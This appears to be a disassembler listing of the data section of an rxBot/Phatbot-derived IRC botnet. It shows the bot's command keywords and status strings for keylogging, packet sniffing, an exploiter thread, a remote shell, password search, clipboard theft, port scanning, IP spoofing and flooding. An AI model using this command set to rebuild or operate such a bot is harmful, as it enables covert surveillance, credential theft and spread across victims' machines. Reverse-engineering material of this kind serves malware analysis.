dword_43085C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4457o
aAlreadyRunning	db '- Already running.',0
		align 4
dword_43087C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD:loc_405F0Eo
aNoKeyLoggerThr	db '- No key logger thread found.',0
		align 4
dword_4308A8	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4437o
aKeyLoggerStopp	db '- Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aKeylog		db 'keylog',0           ; DATA XREF: sub_401ACD+43D6o
		align 4
dword_4308EC	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD:loc_405E98o
aNoThreadFound_	db '- No thread found.',0
		align 4
dword_43090C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43C1o
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 4
dword_430944	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4391o
aFailedToSta_16	db '- Failed to start server, error: <%d>.',0
		align 4
dword_430978	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4344o
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 4
dword_4309A4	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4334o
aAlreadyRunni_0	db '- Already running.',0
		align 4
aIdent		db 'ident',0            ; DATA XREF: sub_401ACD+4301o
		align 4
unk_4309CC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405DC3o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoPhatbotSniff	db '- No Phatbot sniffer thread found.',0
unk_4309FC	db  2Dh	; -		; DATA XREF: sub_401ACD+42ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotSniffer	db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_430A3C	db  2Dh	; -		; DATA XREF: sub_401ACD+42BCo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_17	db '- Failed to start sniffer thread, error: <%d>.',0
unk_430A78	db  2Dh	; -		; DATA XREF: sub_401ACD+424Do
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotPacketS	db '- Phatbot packet sniffer active.',0
		align 4
unk_430AA8	db  2Dh	; -		; DATA XREF: sub_401ACD+41E6o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_1	db '- Already running.',0
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401ACD+41AFo
dword_430AD0	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD:loc_405C71o
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 4
dword_430AFC	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+419Ao
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 4
dword_430B38	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+416Ao
aFailedToSta_18	db '- Failed to start sniffer thread, error: <%d>.',0
		align 4
dword_430B74	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+40FBo
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 4
dword_430BA4	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4094o
aAlreadyRunni_2	db '- Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_401ACD+4074o
					; sub_401ACD+41C6o ...
		align 4
aPsniff		db 'psniff',0           ; DATA XREF: sub_401ACD+405Do
		align 10h
aRf		db 'rf',0               ; DATA XREF: sub_401ACD+4048o
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: sub_401ACD+4033o
		align 10h
aCm		db 'cm',0               ; DATA XREF: sub_401ACD+401Eo
		align 4
aCmd		db 'cmd',0              ; DATA XREF: sub_401ACD+4009o
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401ACD+3FDFo
aV:					; DATA XREF: sub_401ACD+3FCAo
					; ___:0043D534o ...
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: sub_401ACD+3FB5o
		align 4
aLi		db 'li',0               ; DATA XREF: sub_401ACD+3FA0o
		align 10h
aList		db 'list',0             ; DATA XREF: sub_401ACD+3F8Bo
		align 4
aGt		db 'gt',0               ; DATA XREF: sub_401ACD+3F76o
		align 4
aDel		db 'del',0              ; DATA XREF: sub_401ACD+3F4Co
aDelete		db 'delete',0           ; DATA XREF: sub_401ACD+3F37o
					; sub_401ACD+4644o
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_401ACD+3F22o
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401ACD+3EF8o
		align 10h
aKillproc	db 'killproc',0         ; DATA XREF: sub_401ACD+3EE3o
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_401ACD+3ECEo
		align 10h
aDns		db 'dns',0              ; DATA XREF: sub_401ACD+3EB9o
aSe		db 'se',0               ; DATA XREF: sub_401ACD+3EA4o
		align 4
aServer		db 'server',0           ; DATA XREF: sub_401ACD+3E8Fo
		align 10h
aO:					; DATA XREF: sub_401ACD+3E7Ao
					; ___:0043D864o
		unicode	0, <o>,0
aPr		db 'pr',0               ; DATA XREF: sub_401ACD+3E50o
		align 4
aPrefix		db 'prefix',0           ; DATA XREF: sub_401ACD+3E3Bo
		align 10h
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401ACD+3E26o
		align 4
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401ACD+3E11o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_401ACD+3DFCo
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401ACD+3DE7o
		align 10h
aKillthread	db 'killthread',0       ; DATA XREF: sub_401ACD+3DBDo
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_401ACD+3D93o
aPt		db 'pt',0               ; DATA XREF: sub_401ACD+3D7Eo
		align 4
aJ:					; DATA XREF: sub_401ACD+3D54o
					; ___:0043D51Co ...
		unicode	0, <j>,0
aN:					; DATA XREF: sub_401ACD+3D2Ao
					; ___:0043D53Co ...
		unicode	0, <n>,0
unk_430C8C	db  2Dh	; -		; DATA XREF: sub_401ACD+3CF6o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 4
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C92o
aRegister	db 'register',0         ; DATA XREF: sub_401ACD+3C69o
		align 4
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401ACD+3C10o
		align 4
aMix		db 'mix',0              ; DATA XREF: sub_401ACD+3B43o
dword_430CEC	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401ACD+3AEFo
					; sub_401ACD+3B26o
		dd 0
dword_430D04	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401ACD+3AB8o
		dd 1
dword_430D1C	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401ACD+3A81o
					; sub_401ACD+3B98o
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401ACD+3A2Co
		align 4
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401ACD+3997o
					; sub_401ACD+39D3o ...
		align 4
aNotice_0	db 'notice',0           ; DATA XREF: sub_401ACD+393Do
		align 10h
aMsg		db 'msg',0              ; DATA XREF: sub_401ACD+384Eo
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401ACD+3807o
aNick_0		db 'nick',0             ; DATA XREF: sub_401ACD+3705o
					; sub_401ACD+3D15o
		align 4
dword_430D64	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401ACD+36E8o
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_430D8C	dd 636364h		; DATA XREF: sub_401ACD+366Bo
dword_430D90	dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Eo
dword_430D9C	dd 4B43494Eh, 732520h	; DATA XREF: sub_401ACD+3501o
					; sub_401ACD+3762o ...
dword_430DA4	dd 69257325h, 0		; DATA XREF: sub_401ACD+34E6o
					; sub_40ACB5+4Fo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401ACD+34A5o
		align 4
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401ACD+3488o
					; sub_401ACD+3578o ...
		align 10h
aPartflood	db 'partflood',0        ; DATA XREF: sub_401ACD+3461o
		align 4
aPartS		db 'part %s',0          ; DATA XREF: sub_401ACD+3444o
aPart_0		db 'part',0             ; DATA XREF: sub_401ACD+3422o
					; sub_401ACD+3D69o
		align 4
aJoinS		db 'join %s',0          ; DATA XREF: sub_401ACD+3405o
					; sub_401ACD+354Co ...
aJoin		db 'join',0             ; DATA XREF: sub_401ACD+33E3o
					; sub_401ACD+3D3Fo
		align 4
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401ACD+33C6o
		align 4
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401ACD+335Ao
		align 4
aNt		db 'nt',0               ; DATA XREF: sub_401ACD+330Bo
		align 4
dword_430E0C	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401ACD+32EEo
dword_430E20	dd 7463h		; DATA XREF: sub_401ACD+329Fo
dword_430E24	dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3282o
					; sub_401ACD+38A8o ...
dword_430E34	dd 5Fh			; DATA XREF: sub_401ACD+3253o
					; sub_401ACD+32BFo ...
dword_430E38	dd 6D70h		; DATA XREF: sub_401ACD+3233o
					; sub_401ACD+487Eo
unk_430E3C	db  2Dh	; -		; DATA XREF: sub_401ACD+3201o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aSClonesLoadedT	db '- %s clones loaded to %s:%s',0
		align 4
aFlood		db 'flood',0            ; DATA XREF: sub_401ACD+3181o
		align 10h
aRinms		db 'rinms',0            ; DATA XREF: sub_401ACD+316Ao
		align 4
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401ACD+3155o
aRin		db 'rin',0              ; DATA XREF: sub_401ACD+3140o
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401ACD+312Bo
		align 4
unk_430E9C	db  2Dh	; -		; DATA XREF: sub_401ACD+3120o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
unk_430EDC	db  2Dh	; -		; DATA XREF: sub_401ACD+30AEo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
aExploit	db 'exploit',0          ; DATA XREF: sub_401ACD+3028o
unk_430F14	db  2Dh	; -		; DATA XREF: sub_401ACD+300Eo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 10h
unk_430F40	db  2Dh	; -		; DATA XREF: sub_401ACD+2FF0o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401ACD+2FCCo
		align 10h
unk_430F80	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_404A40o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 4
aGet		db 'get',0              ; DATA XREF: sub_401ACD:loc_404A22o
					; sub_401ACD+3F61o
unk_430FBC	db  2Dh	; -		; DATA XREF: sub_401ACD+2EDAo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aInvalidLoginSl	db 'Invalid login slot number: %d.',0
		align 4
unk_430FE8	db  2Dh	; -		; DATA XREF: sub_401ACD+2ED2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNoUserLoggedIn	db 'No user logged in at slot: %d.',0
		align 4
dword_431014	dd 234032Dh, 6E69616Dh,	202D0302h, 7325h ; DATA	XREF: sub_401ACD+2E7Do
unk_431024	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40493Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aThisModOfRxbot	db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
		db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
		db 'from Hell?) who I love so much.',0
		align 4
dword_4310D4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_401ACD+2E4Bo
aFailedToSta_19	db '- Failed to start secure thread, error: <%d>.',0
		align 10h
dword_431110	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: sub_401ACD+2DD1o
		dd 2E6D6574h, 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401ACD+2DCBo
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_401ACD+2DC4o
		align 4
unk_431144	db  2Dh	; -		; DATA XREF: sub_401ACD+2D4Do
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_20	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_431184	db  2Dh	; -		; DATA XREF: sub_401ACD+2CC9o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 10h
dword_4311B0	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2C47o
aFailedToSta_21	db '- Failed to start server thread, error: <%d>.',0
		align 4
dword_4311EC	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2BD8o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_431214	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_401ACD+2B25o
dword_431224	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B20o
dword_431230	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Do
dword_431240	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_401ACD+2B08o
dword_431250	dd 234032Dh, 6E69616Dh,	202D0302h, 6F636552h, 63656E6Eh
					; DATA XREF: sub_401ACD+2A95o
		dd 676E6974h, 2Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404555o
					; sub_401ACD:loc_409778o ...
		align 4
dword_431284	dd 234032Dh, 6E69616Dh,	202D0302h, 63736944h, 656E6E6Fh
					; DATA XREF: sub_401ACD+2A73o
		dd 6E697463h, 2E67h
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404533o
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Do
					; sub_401ACD+7A7Eo
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Eo
		align 4
unk_4312D4	db  2Dh	; -		; DATA XREF: sub_401ACD+2A17o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aStatusReady_Bo	db 'Status: Ready. Bot Uptime: %s.',0
		align 10h
dword_431300	dd 234032Dh, 6E69616Dh,	202D0302h, 20746F42h, 203A4449h
					; DATA XREF: sub_401ACD+29D8o
		dd 2E7325h
unk_431318	db  2Dh	; -		; DATA XREF: sub_401ACD+29C9o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToSta_22	db '- Failed to start list thread, error: <%d>.',0
		align 4
dword_431354	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401ACD+295Ao
		dd 65726874h, 2E736461h, 0
dword_431374	dd 627573h		; DATA XREF: sub_401ACD+2934o
dword_431378	dd 234032Dh, 6E69616Dh,	202D0302h, 61696C41h, 696C2073h
					; DATA XREF: sub_401ACD+28E2o
		dd 2E7473h
unk_431390	db  2Dh	; -		; DATA XREF: sub_401ACD+28C7o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_23	db '- Failed to start listing thread, error: <%d>.',0
dword_4313C8	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401ACD+2858o
		dd 2E676Fh
dword_4313E0	dd 234032Dh, 6E69616Dh,	202D0302h, 7774654Eh, 206B726Fh
					; DATA XREF: sub_401ACD+27B3o
		dd 6F666E49h, 2Eh
dword_4313FC	dd 234032Dh, 6E69616Dh,	202D0302h, 74737953h, 49206D65h
					; DATA XREF: sub_401ACD+2784o
		dd 2E6F666Eh, 0
dword_431418	dd 234032Dh, 6E69616Dh,	202D0302h, 6F6D6552h, 676E6976h
					; DATA XREF: sub_401ACD+272Fo
		dd 746F4220h, 2Eh
unk_431434	db  2Dh	; -		; DATA XREF: sub_401ACD+2713o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_24	db ' Failed to start listing thread, error: <%d>.',0
		align 10h
dword_431470	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401ACD+269Eo
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: sub_401ACD+267Eo
		align 4
unk_431494	db  2Dh	; -		; DATA XREF: sub_401ACD+261Co
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 4
dword_4314B4	dd 234032Dh, 656B6463h,	3027379h ; DATA	XREF: sub_401ACD+25F9o
aSearchComplete	db '- Search completed.',0
dword_4314D4	dd 234032Dh, 6E69616Dh,	202D0302h, 69747055h, 203A656Dh
					; DATA XREF: sub_401ACD+25ADo
		dd 2E7325h
unk_4314EC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403FEAo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
unk_43150C	db  2Dh	; -		; DATA XREF: sub_401ACD+2513o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 4
unk_431534	db  2Dh	; -		; DATA XREF: sub_401ACD+24F4o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 10h
dword_431560	dd 234032Dh, 6E69616Dh,	202D0302h, 20746547h, 70696C43h
					; DATA XREF: sub_401ACD+24DEo
		dd 72616F62h, 2E64h
dword_43157C	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401ACD+24B0o
		dd 2Dh
unk_431594	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F6Do
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 10h
unk_4315C0	db  2Dh	; -		; DATA XREF: sub_401ACD+2499o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 4
unk_4315E4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F42o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 10h
unk_431610	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F3Bo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 4
unk_43163C	db  2Dh	; -		; DATA XREF: sub_401ACD+2467o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 10h
unk_431660	db  2Dh	; -		; DATA XREF: sub_401ACD+2414o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_25	db '- Failed to start server thread, error: <%d>.',0
		align 4
unk_43169C	db  2Dh	; -		; DATA XREF: sub_401ACD+23A5o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_4316D8	db  2Dh	; -		; DATA XREF: sub_401ACD+22BFo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_26	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_431714	db  2Dh	; -		; DATA XREF: sub_401ACD+2254o
					; sub_40BACD+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_431750	db  2Dh	; -		; DATA XREF: sub_401ACD+214Do
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_27	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_43178C	db  2Dh	; -		; DATA XREF: sub_401ACD+20DEo
					; sub_40BACD+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 10h
unk_4317C0	db  2Dh	; -		; DATA XREF: sub_401ACD+2029o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_4	db ' Already running.',0
		align 10h
unk_4317E0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403AE0o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_28	db '- Failed to start scan, port is invalid.',0
		align 4
unk_431818	db  2Dh	; -		; DATA XREF: sub_401ACD+1FC3o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_29	db '- Failed to start scan thread, error: <%d>.',0
		align 4
unk_431854	db  2Dh	; -		; DATA XREF: sub_401ACD+1F52o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanSta_0	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 10h
aSequential	db 'Sequential',0       ; DATA XREF: sub_401ACD+1F27o
					; sub_401ACD+5BEEo
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_401ACD+1F20o
					; sub_401ACD+5BE7o
		align 4
unk_4318D4	db  2Dh	; -		; DATA XREF: sub_401ACD+1D6Do
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aAlreadyDScan_0	db '- Already %d scanning threads. Too many specified.',0
unk_431914	db  2Dh	; -		; DATA XREF: sub_401ACD+1D0Fo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_30	db 'Failed to start search thread, error: <%d>.',0
unk_431950	db  2Dh	; -		; DATA XREF: sub_401ACD+1C95o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
aFp		db 'fp',0               ; DATA XREF: sub_401ACD+1C4Co
		align 4
aFindpass	db 'findpass',0         ; DATA XREF: sub_401ACD+1C3Bo
		align 4
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C28o
		align 4
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401ACD+1C11o
		align 4
aSa		db 'sa',0               ; DATA XREF: sub_401ACD+1BFCo
		align 4
aScanall	db 'scanall',0          ; DATA XREF: sub_401ACD+1BE7o
dword_4319C4	dd 234032Dh, 6E69616Dh,	202D0302h, 73617243h, 676E6968h
					; DATA XREF: sub_401ACD+1B97o
		dd 746F6220h, 2Eh
aTftp		db 'tftp',0             ; DATA XREF: sub_401ACD+1B6Co
		align 4
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401ACD+1B57o
		align 4
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401ACD+1B2Do
		align 10h
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401ACD+1B18o
		align 4
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401ACD+1B03o
		align 4
aCip		db 'cip',0              ; DATA XREF: sub_401ACD+1AEEo
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401ACD+1AD9o
		align 4
aFdns		db 'fdns',0             ; DATA XREF: sub_401ACD+1AC4o
		align 10h
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401ACD+1AAFo
		align 4
aFarp		db 'farp',0             ; DATA XREF: sub_401ACD+1A9Ao
		align 4
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401ACD+1A85o
		align 10h
aGc		db 'gc',0               ; DATA XREF: sub_401ACD+1A70o
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: sub_401ACD+1A5Bo
unk_431A5C	db  2Dh	; -		; DATA XREF: sub_401ACD+1A1Do
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: sub_401ACD+1A02o
					; sub_401ACD+3CAFo ...
aSpoof		db 'spoof',0            ; DATA XREF: sub_401ACD+19EBo
		align 10h
unk_431A90	db  2Dh	; -		; DATA XREF: sub_401ACD+19CDo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aLoginListCompl	db 'Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_401ACD+1995o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401ACD:loc_403453o
dword_431AC4	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401ACD+195Bo
dword_431AD8	dd 6F6877h		; DATA XREF: sub_401ACD+193Eo
dword_431ADC	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1933o
dword_431AE8	dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ;	DATA XREF: sub_401ACD+192Eo
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401ACD+1915o
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401ACD+1900o
		align 4
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401ACD+18EBo
